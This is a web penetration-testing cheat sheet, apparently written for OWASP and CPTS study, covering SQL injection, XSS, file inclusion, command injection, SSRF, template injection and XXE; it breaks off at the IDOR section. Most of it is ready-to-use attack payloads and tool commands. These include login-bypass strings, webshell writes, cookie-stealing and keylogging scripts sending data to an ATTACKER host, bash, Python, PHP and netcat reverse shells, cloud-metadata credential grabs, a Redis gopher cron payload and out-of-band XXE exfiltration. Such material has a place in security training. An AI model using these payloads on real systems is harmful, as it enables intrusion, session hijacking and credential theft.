Every major web vulnerability with dedicated tools, methodology, payloads, and step-by-step exploitation. Mapped to OWASP Top 10 + CPTS curriculum.

1. Essential Setup & Proxy Tools

Burp Suite ★★★

The absolute must-have tool for ALL web pentesting. Every single vulnerability flows through Burp.

# Install Community (free) or Pro
# Download: https://portswigger.net/burp/communitydownload
# Kali: sudo apt install burpsuite

# Launch
burpsuite &

# ==========================================
# CORE SETUP
# ==========================================

# 1. Set browser proxy:
#    HTTP Proxy: 127.0.0.1 Port: 8080
#    Use FoxyProxy (Firefox extension) for easy toggle

# 2. Install Burp CA cert in browser:
#    Browse to: http://burpsuite
#    Download CA cert → Firefox: Settings → Certificates → Import

# ==========================================
# KEY TABS
# ==========================================

# Proxy → Intercept   → Intercept requests ON/OFF
# Proxy → HTTP History → All requests/responses (GOLD!)
# Repeater            → Replay + modify individual requests
# Intruder            → Fuzzing / brute force
# Scanner             → Automated vuln scan (Pro only)
# Decoder             → Encode/decode (B64, URL, HTML, hex)
# Comparer            → Diff two responses
# Logger              → Detailed request log

# ==========================================
# REPEATER (most used)
# ==========================================

# Send any request from History to Repeater: Right-click → Send to Repeater
# Ctrl+R in History = send to Repeater
# Modify params → Click Send → Compare responses

# ==========================================
# INTRUDER (fuzzing/brute)
# ==========================================

# 1. Send request to Intruder: Right-click → Send to Intruder
# 2. Positions tab → Clear § → Select parameter → Add §
# 3. Payloads tab → Load wordlist
# 4. Attack type:
#    Sniper    → One payload position, one list
#    Battering Ram → Same payload in all positions
#    Pitchfork → Multiple lists, parallel
#    Cluster Bomb → All combinations (brute force!)
# 5. Click Start Attack

# ==========================================
# USEFUL BURP EXTENSIONS (BApp Store)
# ==========================================

# Install: Extender → BApp Store

# Active Scan++       → Enhanced scanning
# Autorize            → IDOR / broken access control testing
# JWT Editor          → JWT manipulation
# Logger++            → Advanced logging
# Param Miner         → Find hidden parameters!
# Turbo Intruder      → Fast Intruder (Python-scriptable)
# CORS*               → CORS testing
# Hackvertor          → Encoding/obfuscation in payloads
# Freddy              → Deserialization detection
# Upload Scanner      → File upload testing
# HTTP Request Smuggler → Request smuggling
# GraphQL Raider      → GraphQL testing

cURL ★★★

Command-line HTTP client. Fastest way to manually send/test requests without a GUI.

# Basic GET
curl http://target.com

# With headers shown
curl -v http://target.com              # Verbose (shows req + resp headers)
curl -I http://target.com              # Headers only (HEAD request)

# POST with data
curl -X POST http://target.com/login \
    -d "username=admin&password=admin"

# POST with JSON
curl -X POST http://target.com/api \
    -H "Content-Type: application/json" \
    -d '{"user":"admin","pass":"P@ss"}'

# With cookies
curl http://target.com -b "session=abc123"
curl http://target.com -b cookies.txt  # From file

# Save cookies
curl http://target.com -c cookies.txt

# Follow redirects
curl -L http://target.com

# Ignore SSL errors
curl -k https://target.com

# Custom headers
curl http://target.com -H "Authorization: Bearer TOKEN" -H "X-Custom: value"

# Upload file
curl -X POST http://target.com/upload -F "file=@shell.php"

# Via proxy (Burp!)
curl http://target.com --proxy http://127.0.0.1:8080 -k

# Basic auth
curl http://target.com -u admin:password

# Output to file
curl http://target.com -o response.html

# Show only status code
curl -o /dev/null -s -w "%{http_code}" http://target.com

2. SQL Injection (SQLi)

Inject SQL code into queries → dump database, bypass auth, RCE (via xp_cmdshell / INTO OUTFILE).

Manual Testing

# ==========================================
# DETECTION PAYLOADS
# ==========================================

# Basic detection
'
''
`
')
"))
' OR '1'='1
' OR 1=1--
' OR 1=1#
admin'--
1'
1' AND 1=1--
1' AND 1=2--           # If results change → vulnerable!

# Error-based (causes DB error → reveals info)
' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

# ==========================================
# AUTHENTICATION BYPASS
# ==========================================

# Login bypass (username field)
admin'--
admin'#
' OR 1=1--
' OR 1=1#
' OR '1'='1'--
') OR ('1'='1
admin' /*
' OR 1=1 LIMIT 1--

# ==========================================
# UNION-BASED SQLI (extract data)
# ==========================================

# Step 1: Find number of columns
' ORDER BY 1--        # Keep incrementing until error
' ORDER BY 5--        # Error at 5 → 4 columns!
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--  # Keep adding until no error

# Step 2: Find string columns (which ones display data?)
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

# Step 3: Extract data
' UNION SELECT NULL,@@version,NULL--          # DB version
' UNION SELECT NULL,user(),NULL--             # Current DB user
' UNION SELECT NULL,database(),NULL--         # Current database
' UNION SELECT NULL,@@hostname,NULL--         # Hostname

# Step 4: Enumerate databases
' UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata--

# Step 5: Enumerate tables
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--

# Step 6: Enumerate columns
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--

# Step 7: Dump data!
' UNION SELECT NULL,username,password FROM users--
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--

# ==========================================
# BLIND SQLI (no output — boolean-based)
# ==========================================

# Boolean-based (page behavior changes)
' AND 1=1--                          # True  → normal page
' AND 1=2--                          # False → different page
' AND SUBSTRING(username,1,1)='a'--  # Brute username char by char
' AND (SELECT COUNT(*) FROM users)>0-- # Confirm table exists

# Time-based blind (no visual difference, use delay!)
' AND SLEEP(5)--                     # MySQL  → 5s delay = vulnerable!
'; WAITFOR DELAY '0:0:5'--           # MSSQL
' AND 1=1 AND SLEEP(5)--

# ==========================================
# OUT-OF-BAND SQLI (exfil via DNS)
# ==========================================

' AND LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\x'))--
' UNION SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\x'))--

# ==========================================
# FILE READ / WRITE
# ==========================================

# Read files (MySQL — needs FILE privilege)
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL--
' UNION SELECT NULL,LOAD_FILE('/var/www/html/config.php'),NULL--

# Write files → webshell!
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'--
# Then access: http://target.com/shell.php?cmd=id

# MSSQL: xp_cmdshell RCE
'; EXEC xp_cmdshell('whoami');--
'; EXEC xp_cmdshell('powershell -c IEX(iwr "http://ATTACKER/s.ps1")');--
# Enable first:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--

SQLMap ★★★

Fully automated SQL injection tool. Detects and exploits SQLi in every DB type.

# Install
sudo apt install sqlmap

# ==========================================
# BASIC USAGE
# ==========================================

# Test a URL parameter
sqlmap -u "http://target.com/page.php?id=1"

# Test POST parameter
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=admin"

# Test specific parameter
sqlmap -u "http://target.com/page.php?id=1&cat=2" -p id

# From Burp request file (BEST METHOD!)
# Save request from Burp → right click → Save item → req.txt
sqlmap -r req.txt

# ==========================================
# KEY FLAGS
# ==========================================

--dbs                  # Enumerate databases
-D mydb --tables       # Enumerate tables in database
-D mydb -T users --columns  # Enumerate columns
-D mydb -T users --dump     # DUMP the table!
--dump-all             # Dump EVERYTHING (all DBs)

--current-db           # Current database name
--current-user         # Current DB user
--hostname             # Server hostname
--is-dba               # Am I a DB admin?
--privileges           # User privileges
--users                # All DB users
--passwords            # DB user password hashes

# ==========================================
# TECHNIQUES
# ==========================================

--technique=U          # UNION only
--technique=B          # Boolean blind only
--technique=T          # Time-based blind only
--technique=E          # Error-based only
--technique=S          # Stacked queries
--technique=Q          # Inline queries
--technique=BEUSTQ     # All techniques (default)

# ==========================================
# EVASION
# ==========================================

--level=5              # Max testing level (1-5)
--risk=3               # Max risk level (1-3, 3=destructive!)
--random-agent         # Random User-Agent
--tamper=space2comment # Tamper script (bypass WAF!)

# Common tamper scripts:
--tamper=space2comment       # Space → /**/
--tamper=between             # > → NOT BETWEEN
--tamper=randomcase          # rAnDoM cAsE
--tamper=charencode          # URL encode
--tamper=base64encode        # Base64 encode
--tamper=chardoubleencode    # Double URL encode
--tamper=modsecurityversioned  # ModSecurity bypass

# ==========================================
# AUTHENTICATION
# ==========================================

--cookie="session=abc123"         # With session cookie
-H "Authorization: Bearer TOKEN"  # With header
--headers="X-Custom: value"
--auth-type=Basic --auth-cred="admin:pass"

# ==========================================
# OS SHELL / FILE OPS
# ==========================================

--os-shell              # Interactive OS shell (if DBA)
--os-cmd="whoami"       # Single OS command
--file-read="/etc/passwd"  # Read file
--file-write=shell.php --file-dest=/var/www/html/shell.php  # Upload file → webshell!

# ==========================================
# BATCH (NO PROMPTS)
# ==========================================

sqlmap -r req.txt --batch --dump  # Fully automated, no prompts

# ==========================================
# SPEED UP
# ==========================================

--threads=10            # Parallel requests
--dbms=MySQL            # Specify DB (skip detection)
--fresh-queries         # Don't use cached data

3. Cross-Site Scripting (XSS)

Inject JavaScript into pages → steal cookies, hijack sessions, keylog, phish, deface.

Reflected XSS → Payload in URL/param → reflected in response (one-time)
Stored XSS → Payload stored in DB → executes for every visitor (persistent!)
DOM XSS → JavaScript reads attacker-controlled data + writes to DOM without server

Manual Testing

<!-- ==========================================
     BASIC DETECTION PAYLOADS
========================================== -->

<!-- Simplest test -->
<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert(document.domain)</script>

<!-- When <script> is filtered -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<video src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<iframe onload=alert(1)>
<a href="javascript:alert(1)">click</a>
<math href="javascript:alert(1)">click</math>

<!-- Attribute injection (when inside attribute value) -->
" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="
' onmouseover='alert(1)

<!-- When inside JavaScript context -->
</script><script>alert(1)</script>
'-alert(1)-'
\'-alert(1)//

<!-- ==========================================
     WAF BYPASS PAYLOADS
========================================== -->

<ScRiPt>alert(1)</ScRiPt>                    # Case variation
<script>alert`1`</script>                     # Template literal (no parens!)
<img src=x onerror=alert&#40;1&#41;>         # HTML entities
<svg/onload=alert(1)>                         # No space before onload
<script>eval(atob('YWxlcnQoMSk='))</script>  # Base64 encoded payload
<<script>alert(1)//<</script>                 # Double brackets
<scr<script>ipt>alert(1)</scr</script>ipt>   # Nested (filter bypass)
%3Cscript%3Ealert(1)%3C/script%3E           # URL encoded
<script>\u0061lert(1)</script>               # Unicode escape
<script>String.fromCharCode(97,108,101,114,116,40,49,41)</script>

<!-- ==========================================
     COOKIE STEALING (Session Hijacking)
========================================== -->

<script>document.location='http://ATTACKER/steal?c='+document.cookie</script>
<script>new Image().src='http://ATTACKER/steal?c='+document.cookie</script>
<script>fetch('http://ATTACKER/steal?c='+btoa(document.cookie))</script>

<!-- Catch with netcat on attacker: -->
# nc -lvnp 80
# OR set up simple Python server:
# python3 -m http.server 80

<!-- ==========================================
     KEYLOGGER
========================================== -->

<script>
document.onkeypress = function(e) {
    fetch('http://ATTACKER/log?k=' + e.key);
}
</script>

<!-- ==========================================
     STORED XSS PAYLOAD (full session steal)
========================================== -->

<script src="http://ATTACKER/steal.js"></script>

<!-- steal.js content: -->
// var c = document.cookie;
// fetch('http://ATTACKER/log?cookie='+btoa(c));

<!-- ==========================================
     DOM XSS SINKS (where DOM XSS happens)
========================================== -->

# Sources (user-controlled input to DOM):
document.URL
document.location
document.referrer
window.location.hash
window.location.search

# Sinks (dangerous functions):
document.innerHTML = userInput          # VULNERABLE
document.write(userInput)              # VULNERABLE
eval(userInput)                         # VULNERABLE
setTimeout(userInput)                   # VULNERABLE
setInterval(userInput)                  # VULNERABLE
element.setAttribute('href', userInput) # VULNERABLE (javascript:)

# Test:
# http://target.com/page#<img src=x onerror=alert(1)>
# http://target.com/page?q=<script>alert(1)</script>

XSStrike ★★★

Advanced XSS detection and exploitation with WAF bypass, DOM analysis, and fuzzing.

# Install
git clone https://github.com/s0md3v/XSStrike && cd XSStrike
pip3 install -r requirements.txt

# Basic scan (auto-detect GET params)
python3 xsstrike.py -u "http://target.com/search?q=test"

# POST request
python3 xsstrike.py -u "http://target.com/search" --data "q=test"

# Crawl entire site
python3 xsstrike.py -u "http://target.com" --crawl

# Skip DOM analysis (faster)
python3 xsstrike.py -u "http://target.com/search?q=test" --skip-dom

# Blind XSS (payload fires when admin views)
python3 xsstrike.py -u "http://target.com/feedback?msg=test" --blind

# Encode payloads (WAF bypass)
python3 xsstrike.py -u "http://target.com/search?q=test" --encode

# Fuzzer mode
python3 xsstrike.py -u "http://target.com/search?q=test" --fuzzer

# With cookies
python3 xsstrike.py -u "http://target.com/search?q=test" --cookies "session=abc123"

# Custom headers
python3 xsstrike.py -u "http://target.com/search?q=test" --headers "Authorization: Bearer TOKEN"

dalfox ★★ [Fast XSS scanner]

# Install
go install github.com/hahwul/dalfox/v2@latest

# Scan URL
dalfox url "http://target.com/search?q=test"

# With cookie
dalfox url "http://target.com/search?q=test" -C "session=abc"

# Pipe from file
cat urls.txt | dalfox pipe

# Mass scan
dalfox file urls.txt

# Blind XSS server
dalfox url "http://target.com" --blind http://ATTACKER/blind

4. Local / Remote File Inclusion (LFI/RFI)

LFI: Read local server files / RCE via log poisoning. RFI: Execute remote code by including remote file.

Manual Testing

# ==========================================
# DETECTION
# ==========================================

# Basic LFI test (Linux)
?page=../../../etc/passwd
?file=../../../../etc/passwd
?include=../../../etc/shadow
?template=../../etc/hosts

# Windows LFI
?page=..\..\..\..\windows\system32\drivers\etc\hosts
?file=../../../../windows/win.ini
?page=C:\windows\system32\drivers\etc\hosts
?page=C:/boot.ini

# Null byte (bypass .php extension append — PHP < 5.3.4)
?page=../../../etc/passwd%00
?page=../../../etc/passwd\0

# ==========================================
# PATH TRAVERSAL FILTER BYPASS
# ==========================================

# Encoding
%2e%2e%2f = ../
%2e%2e/   = ../
..%2f     = ../
%2e./     = ../

# Double encoding
%252e%252e%252f = ../

# Nested traversal (filter removes ../ once)
....//....//....//etc/passwd
..././..././etc/passwd

# Absolute path (skip traversal)
?page=/etc/passwd
?page=C:\windows\system32\drivers\etc\hosts

# ==========================================
# INTERESTING FILES TO READ (Linux)
# ==========================================

/etc/passwd                  # Users list
/etc/shadow                  # Password hashes (need root)
/etc/hosts                   # Hosts file
/etc/hostname                # Hostname
/etc/os-release              # OS version
/proc/version                # Kernel version
/proc/cmdline                # Boot args
/proc/self/environ           # Environment vars (PHP_SELF, etc.)
/proc/self/fd/0              # stdin
/var/log/apache2/access.log  # Apache access log (log poisoning!)
/var/log/apache2/error.log   # Apache error log
/var/log/nginx/access.log    # Nginx access log
/var/log/auth.log            # SSH auth log
/var/log/syslog              # System log
/var/mail/www-data           # Mail
~/.ssh/id_rsa                # Private SSH key!!
~/.bash_history              # Command history
/var/www/html/config.php     # Web app config (DB creds!)
/var/www/html/.env           # Laravel .env (DB creds, API keys!)

# ==========================================
# INTERESTING FILES (Windows)
# ==========================================

C:\Windows\system32\drivers\etc\hosts
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config           # IIS config!
C:\xampp\apache\logs\access.log         # XAMPP log
C:\xampp\apache\logs\error.log
C:\Windows\System32\config\SAM          # SAM (need SYSTEM)
C:\Users\Administrator\Desktop\*.txt    # Check desktops!
C:\Users\*\.ssh\id_rsa

# ==========================================
# PHP WRAPPERS (LFI → RCE)
# ==========================================

# php://filter → Read PHP source (base64 encoded, not executed!)
?page=php://filter/convert.base64-encode/resource=config.php
# Decode output: echo "BASE64" | base64 -d

?page=php://filter/read=string.rot13/resource=index.php
?page=php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php

# php://input → Execute POST body as PHP! (allow_url_include must be On)
# Send: POST /?page=php://input
# Body: <?php system($_GET['cmd']); ?>
curl "http://target.com/?page=php://input&cmd=id" \
    --data "<?php system(\$_GET['cmd']); ?>"

# data:// → Execute inline PHP
?page=data://text/plain,<?php system($_GET['cmd']); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

# expect:// → Direct command execution (if expect extension enabled)
?page=expect://id
?page=expect://whoami

# phar:// → PHP Archive RCE
# Create phar with shell, upload as image, include via phar://
?page=phar:///var/www/html/uploads/shell.jpg

# zip:// → Same idea with ZIP
?page=zip:///var/www/html/uploads/shell.zip%23shell.php

# ==========================================
# LOG POISONING → RCE
# ==========================================

# Step 1: Poison the log by sending a request with PHP code in User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Step 2: Include the log file via LFI
?page=../../../var/log/apache2/access.log&cmd=id

# Variations (different log files):
# SSH log poisoning: ssh '<?php system($_GET["cmd"]); ?>'@target
?page=../../../var/log/auth.log&cmd=id

# ==========================================
# /proc/self/environ POISONING
# ==========================================

# Send PHP code in User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com
# Then include:
?page=/proc/self/environ&cmd=id

# ==========================================
# RFI (Remote File Inclusion)
# ==========================================

# Basic RFI (allow_url_include must be On)
?page=http://ATTACKER/shell.php
?file=//ATTACKER/shell.php        # SMB (Windows)
?include=ftp://ATTACKER/shell.php

# shell.php content:
# <?php system($_GET['cmd']); ?>

# Full reverse shell via RFI:
# shell.php:
# <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"); ?>
?page=http://ATTACKER/shell.php

LFISuite / LFIMap

# LFIMap
pip install lfimap
lfimap -U "http://target.com/page.php?file=test" -a  # Auto-exploit all

# LFI-JHADDIX (wordlist-based scanner)
# Use with ffuf:
ffuf -u "http://target.com/page.php?file=FUZZ" \
    -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
    -fs <normal_response_size>

5. Command Injection (RCE)

User input passed to OS command → arbitrary command execution on server.

Manual Testing

# ==========================================
# DETECTION PAYLOADS
# ==========================================

# Injection operators
;id
&&id
||id
|id
`id`
$(id)
;whoami
& whoami
| whoami

# Full payloads
;ls
;cat /etc/passwd
; id ; whoami
& id & hostname
| cat /etc/passwd
`cat /etc/passwd`
$(cat /etc/passwd)

# Windows
& whoami
; dir
| ipconfig
& net user
& systeminfo

# ==========================================
# BLIND COMMAND INJECTION (no output)
# ==========================================

# Time-based detection
; sleep 5
& ping -c 5 127.0.0.1
& timeout 5          # Windows
; sleep${IFS}5       # Space bypass

# OOB detection (DNS exfil — confirms RCE)
; nslookup `id`.ATTACKER.com
& nslookup whoami.ATTACKER.com
$(curl http://ATTACKER/$(whoami))
; curl http://ATTACKER/$(id|base64)

# ==========================================
# SPACE BYPASS (WAF / input filtering)
# ==========================================

${IFS}              # Internal Field Separator
$IFS$9              # Alternate IFS
{ls,-la}            # Brace expansion
;{whoami}
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat</etc/passwd     # Redirection instead of space
X=$'cat\x20/etc/passwd'&&$X   # Hex space

# ==========================================
# BLACKLIST BYPASS
# ==========================================

# Filter bypass — cat
c'a't /etc/passwd
c"a"t /etc/passwd
ca\t /etc/passwd
/bin/c?t /etc/passwd
/bin/ca[t] /etc/passwd

# Filter bypass — /etc/passwd
/etc/p?sswd
/etc/pa*
/etc/pass'wd'
/e"t"c/p"a"ss"w"d

# ==========================================
# REVERSE SHELL PAYLOADS
# ==========================================

# Bash reverse shell
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
0<&196;exec 196<>/dev/tcp/ATTACKER/4444; sh <&196 >&196 2>&196

# Python reverse shell
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP reverse shell
php -r '$sock=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Netcat
nc ATTACKER 4444 -e /bin/bash
nc ATTACKER 4444 -e /bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# ==========================================
# UPGRADE SHELL TO FULLY INTERACTIVE TTY
# ==========================================

# On victim (after getting shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then press: Ctrl+Z
# On attacker:
stty raw -echo; fg
# Back in shell:
export TERM=xterm
export SHELL=bash
stty rows 38 columns 116     # Match your terminal size

Commix ★★★

Automated command injection exploitation tool.

# Install
sudo apt install commix

# Test URL parameter
commix -u "http://target.com/ping.php?ip=127.0.0.1"

# POST parameter
commix -u "http://target.com/ping.php" --data="ip=127.0.0.1"

# From Burp request
commix -r req.txt

# Full exploitation (auto get shell)
commix -u "http://target.com/ping.php?ip=127.0.0.1" --os-shell

# Blind injection
commix -u "http://target.com/ping.php?ip=127.0.0.1" --technique=TIME

# Skip parameter detection
commix -u "http://target.com/ping.php?ip=127.0.0.1" -p ip

# Cookie injection
commix -u "http://target.com/page" --cookie="session=abc123"

# With proxy (Burp)
commix -u "http://target.com/ping.php?ip=test" --proxy=http://127.0.0.1:8080

6. Server-Side Request Forgery (SSRF)

Make server send requests to internal/external resources → internal port scan, cloud metadata theft, RCE.

Manual Testing

# ==========================================
# DETECTION
# ==========================================

# Find parameters that fetch URLs
?url=
?uri=
?path=
?dest=
?redirect=
?fetch=
?load=
?proxy=
?src=
?image=
?document=
?page=

# Basic test — make server call your server
?url=http://ATTACKER/ssrf-test

# Listen:
nc -lvnp 80
# OR: python3 -m http.server 80

# ==========================================
# INTERNAL PORT SCAN (SSRF)
# ==========================================

# Scan for common internal ports via SSRF:
?url=http://127.0.0.1:22        # SSH
?url=http://127.0.0.1:3306      # MySQL
?url=http://127.0.0.1:5432      # PostgreSQL
?url=http://127.0.0.1:6379      # Redis
?url=http://127.0.0.1:27017     # MongoDB
?url=http://127.0.0.1:8080      # Dev server
?url=http://127.0.0.1:8443      # Dev SSL
?url=http://127.0.0.1:9200      # Elasticsearch
?url=http://192.168.1.1         # Router

# Automate with ffuf
seq 1 65535 | while read port; do
    curl -s "http://target.com/fetch?url=http://127.0.0.1:$port" | grep -v "Connection refused" && echo "PORT $port OPEN"
done

# ==========================================
# CLOUD METADATA ENDPOINTS (CRITICAL!)
# ==========================================

# AWS EC2 metadata (get IAM role creds → full AWS access!)
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
?url=http://169.254.169.254/latest/user-data
?url=http://169.254.169.254/latest/meta-data/hostname

# AWS IMDSv2 (token required — newer instances)
# Get token:
?url=http://169.254.169.254/latest/api/token
# Use token to get creds

# Google Cloud metadata
?url=http://metadata.google.internal/computeMetadata/v1/
?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure metadata
?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# ==========================================
# FILTER BYPASS
# ==========================================

# Bypass blacklist of 127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]                # IPv6 localhost
http://127.1
http://127.0.1
http://2130706433          # Decimal: 127.0.0.1
http://0x7f000001          # Hex: 127.0.0.1
http://017700000001        # Octal: 127.0.0.1

# DNS rebinding / open redirect chain
?url=http://target.com/redirect?to=http://169.254.169.254/

# URL schemes
?url=file:///etc/passwd        # File read
?url=dict://127.0.0.1:6379/   # Redis interaction
?url=gopher://127.0.0.1:6379/_*3%0d%0a  # Gopher (powerful SSRF → RCE on Redis!)
?url=ldap://127.0.0.1:389/

# ==========================================
# REDIS RCE VIA SSRF + GOPHER
# ==========================================

# Gopher payload to write cron job to Redis
?url=gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aFLUSHALL%0d%0a*3%0d%0a$3%0d%0aSET%0d%0a$1%0d%0a1%0d%0a$52%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$4%0d%0a/etc%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$7%0d%0acrontab%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a

SSRFmap ★★

# Install
git clone https://github.com/swisskyrepo/SSRFmap && cd SSRFmap
pip3 install -r requirements.txt

# From Burp request file (with {{FUZZ}} in URL)
python3 ssrfmap.py -r req.txt -p url -m readfiles
python3 ssrfmap.py -r req.txt -p url -m portscan
python3 ssrfmap.py -r req.txt -p url -m redis

# Modules:
# portscan, networkscan, readfiles, alibaba, aws, gce, docker,
# redis, zabbix, wordpress, fastcgi, ldap

7. Server-Side Template Injection (SSTI)

Inject template code into server-side templates → RCE.

Manual Testing

DETECTION (inject math into template)

{{77}} → 49 = Jinja2/Twig (Python/PHP)
${77} → 49 = FreeMarker (Java)
<%= 7*7%> → 49 = ERB (Ruby)

{7*7} → 49 = Pebble

{77} → 49 = Spring (Java)
{{7'7'}} → 7777777 = Jinja2
{{7'7'}} → 49 = Twig
${{7*7}} → test
${7_7} → 49 or ${7_7}

# ==========================================
# JINJA2 (Python — Flask/Django)
# ==========================================

# Detection
{{7*7}}
{{config}}
{{config.items()}}
{{request}}

# Read files
{{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}
{{''.__class__.__mro__.__subclasses__()('cat /etc/passwd',shell=True,stdout=-1).communicate().strip()}}

# RCE (simplest)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# RCE via popen
{{ ''.__class__.__mro__.__subclasses__()('/etc/passwd').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

# Reverse shell
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"').read()}}

# ==========================================
# TWIG (PHP — Symfony/Craft CMS)
# ==========================================

{{7*7}}
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}

# ==========================================
# FREEMARKER (Java)
# ==========================================

${7*7}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ex('id')}

# ==========================================
# ERB (Ruby — Rails)
# ==========================================

<%= 7*7%>
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read() %>

# ==========================================
# SMARTY (PHP)
# ==========================================

{php}echo id();{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

SSTImap ★★★

# Install
git clone https://github.com/vladko312/SSTImap && cd SSTImap
pip3 install -r requirements.txt

# Auto-detect + exploit
python3 sstimap.py -u "http://target.com/page?name=test"

# POST
python3 sstimap.py -u "http://target.com/page" --data "name=test"

# OS command
python3 sstimap.py -u "http://target.com/page?name=test" --os-cmd "id"

# OS shell
python3 sstimap.py -u "http://target.com/page?name=test" --os-shell

# Read file
python3 sstimap.py -u "http://target.com/page?name=test" --read-file /etc/passwd

# Upload file
python3 sstimap.py -u "http://target.com/page?name=test" --upload /local/shell.php /var/www/html/shell.php

# Reverse shell
python3 sstimap.py -u "http://target.com/page?name=test" --reverse-shell ATTACKER 4444

8. XML External Entity (XXE)

Inject malicious XML entities → read local files, SSRF, RCE.

Manual Testing

<!-- ==========================================
     BASIC XXE — File Read
========================================== -->

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

<!-- Windows -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<root><data>&xxe;</data></root>

<!-- ==========================================
     XXE → SSRF (Internal port scan)
========================================== -->

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root><data>&xxe;</data></root>

<!-- ==========================================
     BLIND XXE (OOB — no output in response)
========================================== -->

<!-- Step 1: Host malicious.dtd on attacker server -->
<!-- malicious.dtd: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://ATTACKER/?data=%file;'>">
%exfil;
%send;

<!-- Step 2: Reference your DTD in the XML payload -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ATTACKER/malicious.dtd">%xxe;]>
<root><data>test</data></root>

<!-- ==========================================
     XXE via SVG Upload
========================================== -->

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

<!-- ==========================================
     XXE via XLSX (Office files contain XML!)
========================================== -->

# Unzip XLSX: unzip file.xlsx -d xlsx_extracted
# Edit xl/workbook.xml: inject XXE entity
# Re-zip: zip -r evil.xlsx xlsx_extracted/*
# Upload modified XLSX

9. Insecure Direct Object Reference (IDOR)

Manipulate object IDs in requests → access other users' data.

Manual Testing + Tools

# ==========================================
# DETECTION
# ==========================================

# Look for numeric IDs in:
